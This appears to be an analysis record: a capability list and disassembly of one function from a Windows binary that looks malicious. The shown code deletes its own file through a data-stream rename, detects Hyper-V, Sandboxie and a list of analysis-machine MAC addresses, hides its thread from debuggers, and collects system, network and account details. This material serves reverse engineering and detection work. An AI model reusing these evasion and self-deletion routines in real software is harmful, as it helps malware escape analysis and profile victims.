Function at 0x14000150a
Capabilities:
Enumerate processes via ntquerysysteminformation
Get disk information
Get local ipv4 addresses
Get logon sessions
Get memory capacity
Get system information on windows
Hide thread from debugger
List groups for user account
List user accounts
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x858
movaps xmmword [rsp + 0x840], xmm15
movaps xmmword [rsp + 0x830], xmm14
movaps xmmword [rsp + 0x820], xmm13
movaps xmmword [rsp + 0x810], xmm12
movaps xmmword [rsp + 0x800], xmm11
movaps xmmword [rsp + 0x7f0], xmm10
movaps xmmword [rsp + 0x7e0], xmm9
movdqa xmmword [rsp + 0x7d0], xmm8
movdqa xmmword [rsp + 0x7c0], xmm7
movdqa xmmword [rsp + 0x7b0], xmm6
xor edi, edi
lea rsi, [rsp + 0x3e0]
mov r8d, 0x208
mov rcx, rsi
xor edx, edx
call fcn.140014a20
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
cmp rdi, 0x104
je 0x1400015bc
cmp word [rsp + rdi*2 + 0x3e0], 0
je 0x1400015c3
inc rdi
jmp 0x1400015a3
mov edi, 0x104
jmp 0x1400015d0
cmp rdi, 0x105
jae 0x140004cb7
lea rax, [rsp + rdi*2]
add rax, 0x3e0
lea rdx, [rsp + 0x200]
mov qword [rdx], rsi
mov qword [rdx + 8], rax
and word [rdx + 0x10], 0
lea rsi, [rsp + 0x5f0]
mov rcx, rsi
call fcn.140005836
mov rbx, qword [rsi + 0x10]
mov rdi, qword [rsi]
mov rsi, qword [rsi + 8]
test rbx, rbx
je 0x140001774
test rdi, rdi
je 0x14000177f
lea r14, [rsp + 0x3e0]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1400078fb
cmp dword [r14], 6
jne 0x140001774
mov r14, qword [rsp + 0x3e8]
xor eax, eax
lea rcx, str.:svcmsrpc
cmp rax, 9
je 0x140001663
movzx edx, byte [rax + rcx]
mov word [rsp + rax*2 + 0x3e0], dx
inc rax
jmp 0x14000164c
lea r8, [rsp + 0x3e0]
movzx eax, word [r8 + 0x10]
mov word [rsp + 0x210], ax
movdqu xmm0, xmmword [r8]
movdqa xmmword [rsp + 0x200], xmm0
mov byte [r8], 0
and qword [r8 + 8], 0
mov dword [r8 + 0x10], 0x12
mov eax, dword [rsp + 0x220]
mov dword [r8 + 0x34], eax
movzx eax, word [rsp + 0x210]
mov word [r8 + 0x24], ax
mov rax, qword [rsp + 0x212]
mov qword [r8 + 0x26], rax
mov eax, dword [rsp + 0x21a]
mov dword [r8 + 0x2e], eax
movzx eax, word [rsp + 0x21e]
mov word [r8 + 0x32], ax
movdqu xmmword [r8 + 0x14], xmm0
mov rcx, r14
mov edx, 3
mov r9d, 0x2a
call qword [sym.imp.kernel32.dll_SetFileInformationByHandle]
test eax, eax
je 0x140001763
xor ecx, ecx
xor edx, edx
call fcn.14000798a
mov rcx, r14
call fcn.14000799f
cmp rax, 6
jne 0x140001774
lea r14, [rsp + 0x3e0]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1400078fb
cmp dword [r14], 6
jne 0x140001774
lea r8, [rsp + 0x3e0]
mov rbx, qword [r8 + 8]
mov byte [r8], 1
mov rcx, rbx
mov edx, 4
mov r9d, 1
call qword [sym.imp.kernel32.dll_SetFileInformationByHandle]
test eax, eax
je 0x140001763
xor ecx, ecx
xor edx, edx
call fcn.14000798a
mov rcx, rbx
call fcn.14000799f
cmp rax, 6
jmp 0x140001774
call fcn.140013e1c
mov ecx, 1
xor edx, edx
call fcn.14000798a
mov rcx, rdi
mov rdx, rsi
call fcn.1400054f0
mov eax, 0x40000000
cpuid
mov eax, ebx
mov ebp, ecx
mov edi, edx
mov ebx, eax
mov ecx, 0xc
mov edx, 1
call fcn.1400011e0
mov rsi, rax
mov eax, ebx
mov ecx, ebx
mov byte [rsi], bl
mov byte [rsi + 1], bh
shr eax, 0x10
shr ecx, 0x18
mov edx, ebp
mov r8d, ebp
mov byte [rsi + 2], al
mov byte [rsi + 3], cl
mov byte [rsi + 4], bpl
mov eax, ebp
mov byte [rsi + 5], ah
shr edx, 0x10
shr r8d, 0x18
mov eax, edi
mov ecx, edi
mov byte [rsi + 6], dl
mov byte [rsi + 7], r8b
mov byte [rsi + 8], dil
mov edx, edi
mov byte [rsi + 9], dh
shr eax, 0x10
shr ecx, 0x18
mov byte [rsi + 0xa], al
mov byte [rsi + 0xb], cl
lea r8, str.Microsoft_Hv
mov edx, 0xc
mov rcx, rsi
call fcn.1400011ca
test al, al
je 0x14000182e
lea r8, [0x140025720]
mov edx, 0xc
mov rcx, rsi
call fcn.1400011ca
mov ebx, eax
mov edx, 0xc
mov rcx, rsi
call fcn.1400054f0
test bl, bl
je 0x14000183b
jmp 0x140004e43
mov edx, 0xc
mov rcx, rsi
call fcn.1400054f0
lea rdx, str.sbiedll.dll:notepad.exeeb:3d:96:5d:f4:4d__64:fe:7a:ef:de:78__19:be:ef:2f:16:96__0a:e6:8c:03:aa:69__2a:70:84:87:33:4f__87:c8:b6:1a:5d:b6__37:6d:35:a4:c2:0f__7f:73:0b:0f:d9:22__8a:36:42:db:21:89__af:42:4a:8c:7e:b3__2e:4a:7d:69:b9:c7__00:ec:1f:69:5f:be__d4:0b:46:52:a1:17__d1:09:85:64:24:36__9d:74:c8:01:64:b9__ad:fc:73:88:84:bd__38:2e:d1:b1:71:b5__5d:81:49:b7:19:74__61:44:97:03:4d:49__b8:c2:e4:65:e6:dd__24:8f:e5:c9:8b:7d__b9:cc:e2:e4:7c:76__8d:05:b6:c9:23:87__3c:5b:ef:8b:e9:47__8a:52:f1:d9:14:b4__57:13:bd:0a:e0:e8__c3:3e:40:95:be:47__3a:eb:98:33:28:21__7a:d6:ef:83:84:18__84:f6:8f:4a:93:e8__1b:e5:c0:b1:9e:08__bf:f7:a1:95:5c:ff__06:f9:68:5d:1a:1f__ac:4e:32:ca:16:ac__86:2a:01:0c:e7:dc__9d:f3:4a:3c:56:e4__d6:30:67:85:1f:7a__9e:29:20:7d:b9:f9__99:23:86:62:cb:47__f2:66:bb:ba:80:d0__ef:87:f0:ea:00:15__37:ec:94:70:e2:d4__1c:9d:51:c4:d0:07__a4:1b:0c:0a:c7:7c__9c:5a:cd:2a:4a:eb__65:84:ec:2d:3c:97
lea rsi, [rsp + 0x3e0]
mov r8d, 0xb
mov rcx, rsi
call fcn.1400055c7
cmp qword [rsi], 0
jne 0x140004cb7
mov rsi, qword [rsp + 0x3e8]
mov rdi, qword [rsp + 0x3f0]
mov rcx, rsi
call sub.kernel32.dll_GetModuleHandleA
mov rbx, rax
mov byte [rsi], 0
test rdi, rdi
je 0x140001895
mov edx, 1
mov rcx, rsi
mov r8, rdi
call fcn.140001210
test rbx, rbx
jne 0x140004e43
mov eax, 0x60
mov rax, qword gs:[eax]
cmp byte [rax + 2], 1
je 0x1400018b7
cmp dword [rax + 0xbc], 0x70
jne 0x1400018d1
call qword [sym.imp.kernel32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0x11
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtSetInformationThread]
lea rsi, [rsp + 0x150]
mov qword [rsi], 1
pxor xmm0, xmm0
movdqu xmmword [rsi + 8], xmm0
xor edi, edi
lea rbx, [0x140025745]
cmp rdi, 0x368
je 0x14000190b
mov dl, byte [rdi + rbx]
mov rcx, rsi
call fcn.140013537
inc rdi
jmp 0x1400018f2
mov qword [rsp + 0x170], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x178], xmm0
call fcn.140012b3c
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rdx
lea rsi, [rsp + 0x3e0]
mov edx, 0x158
mov r8d, 0x1f4
mov rcx, rsi
call fcn.14001263e
mov rbx, qword [rsi]
test rbx, rbx
je 0x14000198b
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x3f8]
mov qword [rsp + 0x98], rax
jmp 0x1400019ab
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x90], rax
mov ecx, 9
call fcn.140005561
mov r13, rax
mov rbp, rdx
movabs rax, 0x5043206c61746f54
mov qword [r13], rax
mov byte [r13 + 8], 0x55
mov ecx, 8
mov edx, 0x120
call fcn.140005249
test rax, rax
je 0x140004e59
mov r14, rax
movabs rdi, 0x19db1ded53e8000
call fcn.140012b3c
mov r15, rax
mov r12, rdx
call fcn.14000d241
shl rdx, 0x20
mov eax, eax
or rax, rdx
movabs rcx, 0xfe624e212ac18000
cmp rax, rdi
jge 0x140001a1f
xor edi, edi
jmp 0x140001a4a
add rax, rcx
mov ecx, 0x989680
xor edx, edx
div rcx
mov rdi, rax
call sub.kernel32.dll_GetTickCount64
mov ecx, 0x3e8
xor edx, edx
div rcx
sub rdi, rax
mov eax, 0
cmovb rdi, rax
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
mov r9, qword [rsp + 0x98]
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x4e0], xmm6
mov qword [rsp + 0x420], rbx
mov qword [rsp + 0x428], rdx
mov qword [rsp + 0x430], r8
mov qword [rsp + 0x438], r9
mov qword [rsp + 0x440], rax
mov qword [rsp + 0x448], rcx
movdqu xmmword [rsp + 0x480], xmm6
movdqu xmmword [rsp + 0x490], xmm6
mov qword [rsp + 0x4f0], r13
mov qword [rsp + 0x4f8], rbp
mov qword [rsp + 0x500], 9
mov eax, 1
mov qword [rsp + 0x508], rax
movdqu xmmword [rsp + 0x510], xmm6
mov qword [rsp + 0x520], rax
and qword [rsp + 0x538], 0
movdqu xmmword [rsp + 0x528], xmm6
lea rbx, [rsp + 0x200]
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x540], xmm0
and qword [rsp + 0x550], 0
and dword [rsp + 0x558], 0
mov eax, 8
mov qword [rsp + 0x560], rax
movdqu xmmword [rsp + 0x568], xmm6
mov byte [rsp + 0x578], 0
mov qword [rsp + 0x4a8], rax
movdqu xmmword [rsp + 0x4b0], xmm6
mov qword [rsp + 0x4c0], r14
mov qword [rsp + 0x4c8], 2
and qword [rsp + 0x4d0], 0
and qword [rsp + 0x3e0], 0
lea r13, [0x140026360]
mov qword [rsp + 0x450], r13
and qword [rsp + 0x468], 0
movdqu xmmword [rsp + 0x458], xmm6
mov qword [rsp + 0x470], r15
mov qword [rsp + 0x478], r12
mov qword [rsp + 0x4a0], rdi
mov qword [rsp + 0x4d8], rax
lea rdi, [rsp + 0x5f0]
movdqa xmmword [rdi], xmm6
movdqa xmmword [rdi + 0x30], xmm6
movdqa xmmword [rdi + 0x20], xmm6
movdqa xmmword [rdi + 0x10], xmm6
mov dword [rdi], 0x40
mov rcx, rdi
call sub.kernel32.dll_GlobalMemoryStatusEx
movdqu xmm0, xmmword [rdi + 8]
movdqu xmmword [rsp + 0x480], xmm0
movdqa xmmword [rbx + 0x50], xmm6
movdqa xmmword [rbx + 0x40], xmm6
movdqa xmmword [rbx + 0x30], xmm6
movdqa xmmword [rbx + 0x20], xmm6
movdqa xmmword [rbx + 0x10], xmm6
movdqa xmmword [rbx], xmm6
and qword [rbx + 0x60], 0
mov rcx, rbx
mov edx, 0x68
call sub.PSAPI.DLL_GetPerformanceInfo
cmp eax, 1
jne 0x140001c8e
mov rdx, qword [rsp + 0x210]
mov r9, qword [rsp + 0x220]
xor r10d, r10d
sub rdx, r9
cmovb rdx, r10
mov rcx, qword [rsp + 0x250]
mov rax, rcx
mul rdx
mov r8, rax
mov r11, 0xffffffffffffffff
cmovo r8, r11
mov rdx, qword [rsp + 0x208]
sub rdx, r9
cmovb rdx, r10
mov rax, rcx
mul rdx
cmovo rax, r11
mov qword [rsp + 0x490], r8
mov qword [rsp + 0x498], rax
lea r15, [rsp + 0x4f0]
cmp qword [r15 - 0x110], 0
jne 0x140001f05
lea r8, [rsp + 0x5f0]
and qword [r8], 0
xor ebx, ebx
xor ecx, ecx
xor edx, edx
call sub.pdh.dll_PdhOpenQueryA
mov edi, eax
test eax, eax
je 0x140001cc3
jmp 0x140001ce0
mov r14, qword [rsp + 0x5f0]
call fcn.140012b3c
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x200], xmm0
mov rbx, r13
and qword [rsp + 0x3e8], 0
and qword [rsp + 0x418], 0
mov qword [rsp + 0x3e0], rbx
movdqa xmm0, xmmword [rsp + 0x200]
movdqu xmmword [rsp + 0x3f0], xmm0
mov qword [rsp + 0x400], rax
mov qword [rsp + 0x408], rdx
mov qword [rsp + 0x410], r14
test edi, edi
jne 0x140001efc
mov ecx, 0x23
call fcn.140005561
movups xmm0, xmmword [0x14002654f]
movups xmmword [rax], xmm0
movdqu xmm0, xmmword [0x14002655f]
movdqu xmmword [rax + 0x10], xmm0
mov dword [rax + 0x1f], 0x656d6954
lea rbx, [rsp + 0x5f0]
mov qword [rbx], rax
mov qword [rbx + 8], rdx
mov qword [rbx + 0x10], 0x23
mov rdi, r15
lea r15, [rsp + 0x538]
mov ecx, 5
call fcn.140005561
mov dword [rax], 0x5f746f74
mov byte [rax + 4], 0x30
lea r9, [rsp + 0x200]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 5
lea rdx, [rsp + 0x3e0]
mov rcx, rbx
mov r8, r15
call fcn.140013b65
mov rcx, rdi
mov dl, 1
call fcn.140013d74
mov r15, rax
mov qword [rsp + 0x80], rdx
xor eax, eax
mov qword [rsp + 0x78], rax
mov r12d, 2
mov ebp, 1
cmp r15, qword [rsp + 0x80]
je 0x140001ee5
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x110], rax
inc rax
mov qword [rsp + 0x78], rax
lea rax, [0x140026590]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], r12
and qword [rsp + 0x220], 0
lea rdi, [rsp + 0x110]
mov qword [rsp + 0xd0], rdi
lea r14, [0x1400065df]
mov qword [rsp + 0xd8], r14
lea r13, [rsp + 0xd0]
mov qword [rsp + 0x210], r13
mov qword [rsp + 0x218], rbp
lea rcx, [rsp + 0x350]
lea rbx, [rsp + 0x200]
mov rdx, rbx
call fcn.14001000e
lea rax, [0x1400265b8]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], r12
and qword [rsp + 0x220], 0
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0x210], r13
mov qword [rsp + 0x218], rbp
lea rdi, [rsp + 0x5f0]
mov rcx, rdi
mov rdx, rbx
call fcn.14001000e
lea r8, [r15 + 0x48]
lea rcx, [rsp + 0x350]
lea rdx, [rsp + 0x3e0]
mov r9, rdi
call fcn.140013b65
add r15, 0x70
jmp 0x140001ddb
mov rbx, qword [rsp + 0x3e0]
lea r15, [rsp + 0x4f0]
lea r13, [0x140026360]
test rbx, rbx
je 0x140002014
mov rcx, qword [rsp + 0x410]
call sub.pdh.dll_PdhCollectQueryData
cmp qword [rsp + 0x538], 0
je 0x140001f43
lea rdx, [rsp + 0x538]
lea rcx, [rsp + 0x3e0]
call fcn.140013d96
test eax, eax
je 0x140004cb7
movd dword [rsp + 0x558], xmm0
mov rcx, r15
mov dl, 1
call fcn.140013d74
mov rdi, rax
mov rbx, rdx
add rdi, 0x48
lea r14, [rsp + 0x3e0]
lea rax, [rdi - 0x48]
cmp rax, rbx
je 0x140001f8c
cmp qword [rdi], 0
je 0x140001f86
mov rcx, r14
mov rdx, rdi
call fcn.140013d96
test eax, eax
je 0x140004cb7
movd dword [rdi + 0x20], xmm0
add rdi, 0x70
jmp 0x140001f5f
cmp byte [rsp + 0x578], 0
jne 0x140002014
mov rdi, qword [rsp + 0x570]
lea rbx, [rsp + 0x200]
mov rcx, rbx
mov rdx, rdi
call fcn.14001339a
mov r14, qword [rsp + 0x560]
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
mov rax, qword [rbx + 0x10]
shl rax, 3
imul r8, rdi, 0x70
xor r9d, r9d
mov r10, r14
test r8, r8
je 0x140001ff2
cmp rax, r9
je 0x140001ff2
mov r11, qword [rcx + r9]
mov qword [r10 + 0x60], r11
add r10, 0x70
add r9, 8
add r8, 0xffffffffffffff90
jmp 0x140001fd2
call fcn.140011d91
test rdi, rdi
je 0x140002002
mov rax, qword [r14 + 0x60]
jmp 0x140002004
xor eax, eax
mov qword [rsp + 0x550], rax
mov byte [rsp + 0x578], 1
lea rdi, [rsp + 0x5f0]
mov rcx, rdi
call fcn.14001362e
cmp dword [rdi], 2
je 0x14000225e
mov rax, qword [rsp + 0x620]
lea rdx, [rsp + 0x200]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x5f0]
movups xmm1, xmmword [rsp + 0x600]
movups xmm2, xmmword [rsp + 0x610]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rdi, [rsp + 0x350]
mov rcx, rdi
call fcn.14001365a
cmp qword [rdi], 2
je 0x14000225e
mov rax, qword [rsp + 0x380]
lea rdx, [rsp + 0x200]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x350]
movups xmm1, xmmword [rsp + 0x360]
movups xmm2, xmmword [rsp + 0x370]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rdi, [rsp + 0xd0]
mov rcx, rdi
call fcn.1400136d4
cmp qword [rdi], 2
je 0x14000225e
mov rax, qword [rsp + 0x100]
lea rdx, [rsp + 0x200]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movups xmm2, xmmword [rsp + 0xf0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rdi, [rsp + 0x110]
mov rcx, rdi
call fcn.14001376a
cmp qword [rdi], 2
je 0x14000225e
mov rax, qword [rsp + 0x140]
lea rdx, [rsp + 0x200]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x110]
movups xmm1, xmmword [rsp + 0x120]
movups xmm2, xmmword [rsp + 0x130]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rdi, [rsp + 0x1c0]
mov rcx, rdi
call fcn.140013834
cmp qword [rdi], 2
je 0x14000225e
mov rax, qword [rsp + 0x1f0]
lea rdx, [rsp + 0x200]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rsp + 0x1c0]
movups xmm1, xmmword [rsp + 0x1d0]
movups xmm2, xmmword [rsp + 0x1e0]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rdi, [rsp + 0x6a8]
mov rcx, rdi
call fcn.1400138b1
mov rax, qword [rdi]
cmp rax, 2
je 0x14000225e
movups xmm0, xmmword [rsp + 0x6b0]
movups xmm1, xmmword [rsp + 0x6c0]
movups xmm2, xmmword [rsp + 0x6d0]
lea rdi, [rsp + 0x778]
movups xmmword [rdi + 0x28], xmm2
movups xmmword [rdi + 0x18], xmm1
movups xmmword [rdi + 8], xmm0
mov qword [rdi], rax
lea rbx, [rsp + 0x350]
mov rcx, rbx
mov rdx, rdi
mov r8b, 1
call fcn.140013990
mov rax, qword [rdi + 0x30]
mov qword [rsp + 0x230], rax
movdqu xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movaps xmmword [rsp + 0x220], xmm2
movaps xmmword [rsp + 0x210], xmm1
movdqa xmmword [rsp + 0x200], xmm0
mov ebp, dword [rbx + 4]
cmp ebp, 2
jne 0x140004d59
lea rcx, [rsp + 0x200]
call fcn.14001232b
mov edi, 8
xor ebx, ebx
mov rcx, qword [rsp + 0x4a8]
mov rdx, qword [rsp + 0x4b8]
call fcn.1400122ed
mov rcx, qword [rsp + 0x4a8]
mov rdx, qword [rsp + 0x4b0]
call fcn.140012442
mov qword [rsp + 0x4a8], rdi
mov qword [rsp + 0x4b0], rbx
mov qword [rsp + 0x4b8], rbx
lea rcx, [rsp + 0xd0]
and qword [rcx], 0
call sub.iphlpapi.dll_GetIfTable2
test eax, eax
jne 0x140003119
lea r8, [rsp + 0x470]
mov rax, qword [r8 - 0x20]
mov rcx, qword [r8 - 0x18]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [r8 - 8]
lea rdi, [rsp + 0x200]
mov qword [rdi], rax
add rax, 0x10
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rcx
mov word [rdi + 0x18], dx
mov qword [rdi + 0x20], r8
mov rcx, rdi
call fcn.140012565
test rax, rax
je 0x140002316
mov byte [rdx + 0x6e], 0
jmp 0x140002303
call fcn.140012b3c
pxor xmm0, xmm0
lea rcx, [rsp + 0x220]
movdqu xmmword [rcx - 0x10], xmm0
mov qword [rcx - 0x20], r13
and qword [rcx - 0x18], 0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
lea rax, [rsp + 0x350]
mov qword [rax], 8
movdqu xmmword [rax + 8], xmm0
mov rbp, qword [rsp + 0xd0]
mov eax, dword [rbp]
add rbp, 8
lea r15, [rsp + 0x5f0]
pcmpeqd xmm6, xmm6
xor ecx, ecx
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0x98], rax
cmp rcx, rax
je 0x14000269d
mov rbx, rcx
inc rcx
imul rdi, rbx, 0x548
cmp qword [rbp + rdi + 0x4a8], 0
jne 0x1400023a9
cmp qword [rbp + rdi + 0x4b0], 0
je 0x14000237d
cmp dword [rbp + rdi + 0x48c], 2
je 0x14000237d
cmp dword [rbp + rdi + 0x420], 0
je 0x14000237d
mov qword [rsp + 0x88], rcx
mov ecx, 0x14
mov edx, 2
call fcn.14000cb7a
mov r12, rax
mov eax, dword [rbp + rdi + 0x10]
movzx ecx, byte [rbp + rdi + 0x14]
movzx edx, byte [rbp + rdi + 0x15]
movzx r8d, byte [rbp + rdi + 0x16]
movzx r9d, byte [rbp + rdi + 0x17]
movzx r10d, byte [rbp + rdi + 0x18]
movzx r11d, byte [rbp + rdi + 0x19]
mov r14, rbp
movzx ebp, byte [rbp + rdi + 0x1a]
movzx edi, byte [r14 + rdi + 0x1b]
mov dword [r12], eax
mov word [r12 + 4], cx
mov word [r12 + 6], dx
mov word [r12 + 8], r8w
mov word [r12 + 0xa], r9w
mov word [r12 + 0xc], r10w
mov word [r12 + 0xe], r11w
mov word [r12 + 0x10], bp
mov word [r12 + 0x12], di
mov ecx, 0xa
xor edx, edx
call fcn.14000ab40
mov r14, rax
mov qword [rsp + 0x80], rdx
movups xmm0, xmmword [r12]
movups xmmword [rax], xmm0
mov qword [rsp + 0x90], r12
mov eax, dword [r12 + 0x10]
mov dword [r14 + 0x10], eax
mov rcx, qword [rsp + 0x220]
mov rdx, qword [rsp + 0x228]
mov r9d, 0xa
mov r8, r14
call fcn.140011da8
mov r13, qword [rsp + 0x200]
mov rbp, qword [rsp + 0x208]
mov rdi, rbp
and rdi, rax
mov qword [rsp + 0xb0], rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x78], rax
movdqu xmm8, xmmword [r13 + rdi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x5f0], ax
mov rcx, r15
call fcn.140010ab3
test rax, rax
je 0x14000251f
add rdx, rdi
and rdx, rbp
shl rdx, 5
mov r12, r13
sub r12, rdx
mov rcx, qword [r12 - 0x20]
mov rdx, qword [r12 - 0x10]
mov r9d, 0xa
mov r8, r14
call fcn.140011ed4
test al, al
je 0x1400024e4
jmp 0x14000254e
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x140002601
mov rax, qword [rsp + 0x78]
add rdi, rax
add rdi, 0x10
add rax, 0x10
mov qword [rsp + 0x78], rax
and rdi, rbp
jmp 0x1400024c8
mov rcx, r14
mov rdx, qword [rsp + 0x80]
call fcn.14000b093
mov eax, dword [r12 - 8]
inc eax
mov dword [r12 - 8], eax
cmp eax, 1
mov rbp, qword [rsp + 0xa8]
jle 0x14000258b
mov edx, 0xa
mov rcx, qword [rsp + 0x90]
call fcn.14000b093
jmp 0x1400025ec
mov rdx, qword [rsp + 0x360]
cmp rdx, qword [rsp + 0x358]
jne 0x1400025b2
lea rcx, [rsp + 0x350]
call fcn.140012180
mov rdx, qword [rsp + 0x360]
mov rax, qword [rsp + 0x350]
mov rcx, rdx
shl rcx, 5
mov dword [rax + rcx], ebx
mov r8, qword [rsp + 0x90]
mov qword [rax + rcx + 8], r8
mov r8d, 0xa
mov qword [rax + rcx + 0x10], r8
mov qword [rax + rcx + 0x18], r8
inc rdx
mov qword [rsp + 0x360], rdx
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x88]
jmp 0x14000237d
cmp qword [rsp + 0x210], 0
je 0x140002673
mov rcx, r13
mov rdx, rbp
mov r8, qword [rsp + 0xb0]
call fcn.140012585
mov rcx, qword [rsp + 0x200]
shl rax, 5
mov r12, rcx
and dl, 1
neg dl
movsx rdx, dl
add qword [rsp + 0x210], rdx
sub r12, rax
neg rax
mov qword [rcx + rax - 0x20], r14
mov rax, qword [rsp + 0x80]
mov qword [r12 - 0x18], rax
mov qword [r12 - 0x10], 0xa
and dword [r12 - 8], 0
inc qword [rsp + 0x218]
jmp 0x14000255e
lea rcx, [rsp + 0x200]
lea rdx, [rsp + 0x220]
call fcn.14002310e
mov r13, qword [rsp + 0x200]
mov rbp, qword [rsp + 0x208]
jmp 0x14000260c
mov rax, qword [rsp + 0x350]
mov rcx, qword [rsp + 0x358]
mov qword [rsp + 0x1a8], rcx
mov r14, qword [rsp + 0x360]
shl r14, 5
add r14, rax
pcmpeqd xmm6, xmm6
mov qword [rsp + 0x1a0], rax
mov r13, rax
mov qword [rsp + 0x98], r14
mov rdi, r13
cmp r13, r14
je 0x140002c4f
lea r13, [rdi + 0x20]
mov r15, qword [rdi + 8]
test r15, r15
je 0x140002c4c
mov rax, qword [rdi + 0x10]
mov edx, dword [rdi]
cmp qword [rsp + 0x218], 0
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x78], rax
je 0x140002822
mov qword [rsp + 0x90], rdx
mov rdi, qword [rdi + 0x18]
mov rcx, qword [rsp + 0x220]
mov rdx, qword [rsp + 0x228]
mov r8, r15
mov r9, rdi
call fcn.140011da8
mov r14, qword [rsp + 0x200]
mov rbx, qword [rsp + 0x208]
mov r13, rbx
and r13, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x88], rax
movdqu xmm8, xmmword [r14 + r13]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x5f0], ax
lea rcx, [rsp + 0x5f0]
call fcn.140010ab3
test rax, rax
je 0x1400027cf
add rdx, r13
and rdx, rbx
shl rdx, 5
mov r12, r14
sub r12, rdx
mov r8, qword [r12 - 0x20]
mov r9, qword [r12 - 0x10]
mov rcx, r15
mov rdx, rdi
call fcn.140011ed4
test al, al
je 0x140002792
jmp 0x140002804
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x140002a93
mov rax, qword [rsp + 0x88]
add r13, rax
add r13, 0x10
add rax, 0x10
mov qword [rsp + 0x88], rax
and r13, rbx
jmp 0x140002777
add r12, 0xffffffffffffffe0
mov r14, qword [rsp + 0x98]
mov r13, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x90]
jmp 0x140002825
xor r12d, r12d
lea rax, [r12 + 0x18]
test r12, r12
lea rcx, [0x1400264cc]
cmove rax, rcx
cmp dword [rax], 1
jg 0x140002a81
imul rdi, rdx, 0x548
lea r12, [rdi + rbp]
lea rdx, [rdi + rbp]
add rdx, 0x1c
xor r8d, r8d
cmp r8, 0x101
je 0x14000286d
cmp word [rdx + r8*2], 0
je 0x140002875
inc r8
jmp 0x140002857
mov r8d, 0x101
jmp 0x140002882
cmp r8, 0x102
jae 0x140004cb7
lea rcx, [rsp + 0x5f0]
call fcn.1400057a0
mov rbx, qword [rsp + 0x5f0]
test rbx, rbx
je 0x140002a81
mov qword [rsp + 0xc0], r12
mov qword [rsp + 0x90], rdi
mov rax, qword [rsp + 0x5f8]
mov qword [rsp + 0xb0], rax
mov r12, qword [rsp + 0x600]
mov rcx, qword [rsp + 0x470]
mov rdx, qword [rsp + 0x478]
mov r8, rbx
mov r9, r12
call fcn.140011e3e
mov r13, qword [rsp + 0x450]
mov r14, qword [rsp + 0x458]
mov rdi, r14
and rdi, rax
mov qword [rsp + 0x1b0], rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x88], rax
movdqu xmm8, xmmword [r13 + rdi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x5f0], ax
lea rcx, [rsp + 0x5f0]
call fcn.140010ab3
test rax, rax
je 0x14000297d
